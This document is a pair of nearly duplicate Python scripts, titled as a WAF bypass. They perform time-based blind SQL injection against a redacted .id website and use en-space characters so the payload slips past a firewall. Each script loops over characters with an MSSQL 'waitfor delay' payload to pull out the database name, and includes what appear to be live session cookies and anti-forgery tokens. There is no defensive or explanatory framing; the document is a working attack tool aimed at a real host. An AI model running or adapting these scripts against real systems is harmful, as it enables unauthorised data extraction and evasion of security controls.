SQL Time-Based Scripting Waf Bypass

another_endpoint.py

import time
import requests
import string

characters = string.ascii_letters + string.digits
ascii_values = [ord(char) for char in characters]
pos = 1
database_name = ''
searching = True

headers = {
    "Host": "xxxxxxxxxxxxxxxxxxx.xxx.xx.id",
    "Connection": "close",
    "sec-ch-ua": '"Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"Windows"',
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-User": "?1",
    "Sec-Fetch-Dest": "document",
    "Accept-Language": "en-US,en;q=0.9",
    "Cookie": "ASP.NET_SessionId=glmwihzeyvm40bj5psza4mvd; __RequestVerificationToken=XSNp3GlHrYVs98OEyCQBU5ehO9-shjdyb5QHgmozticXThljCIA-1DhBkXODab7bYi5R_yxAHX0VPNImluWdPeOHag2sencyDUwJ2_UMsEw1",
    "Accept-Encoding": "gzip, deflate"
}

while searching:
    for char in ascii_values:
        url = f"https://xxxxxxxxxxxxxxxxxxx.xxx.xx.id/xxxxxxxxxxxxxxxxxxx/xxxxxxxxxxxxxxxxxxxxxxxxx/12'%E2%80%82if%E2%80%82(ASCII(substring(db_name(),{pos},1))={char})%E2%80%82waitfor%E2%80%82delay%E2%80%82'0:0:10'--"
        start = time.time()
        y = requests.get(url, headers=headers)
        end = time.time()
        if ((end - start) > 10):
            database_name += chr(char)
            pos += 1
            searching = True
            print(f'characters identified: {char}\nString: {database_name}', end='\n')
            break
        searching = False


print(f'Database Name: {database_name}')

test.py

import time
import requests
import string

characters = string.ascii_letters + string.digits
ascii_values = [ord(char) for char in characters]
pos = 1
database_name = ''
searching = True

headers = {
    "Host": "xxxxxxxxxxxxxxxxxxx.xxx.xx.id",
    "Connection": "close",
    "sec-ch-ua": '"Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"Windows"',
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-User": "?1",
    "Sec-Fetch-Dest": "document",
    "Accept-Language": "en-US,en;q=0.9",
    "Referer": "https://xxxxxxxxxxxxxxxxxxx.xxx.xx.id/Landing/About",
    "Cookie": "ASP.NET_SessionId=3iutfhmga5xik33qjkbhnqte; __RequestVerificationToken=deB5EyAuMq6QbcQK3VgQKzKZpU-BVsLGaO2eCP7wysDIGFIxR1XKSur9u8UWLCa3z7XOqwCUIIzBhdh4tEb5mNHYStPM6KJbdooDKyGeDyw1",
    "Accept-Encoding": "gzip, deflate"
}

while searching:
    for char in ascii_values:
        url = f"https://xxxxxxxxxxxxxxxxxxx.xxx.xx.id/xxxxxxxxxxxxxxxxxxx/xxxxxxxxxxxxxxxxxxxxxxxxx/12'%E2%80%82if%E2%80%82(ASCII(substring(db_name(),{pos},1))={char})%E2%80%82waitfor%E2%80%82delay%E2%80%82'0:0:10'--"
        start = time.time()
        y = requests.get(url, headers=headers)
        end = time.time()
        if ((end - start) > 10):
            database_name += chr(char)
            pos += 1
            searching = True
            print(f'characters identified: {char}\nString: {database_name}', end='\n')
            break
        searching = False


print(f'Database Name: {database_name}')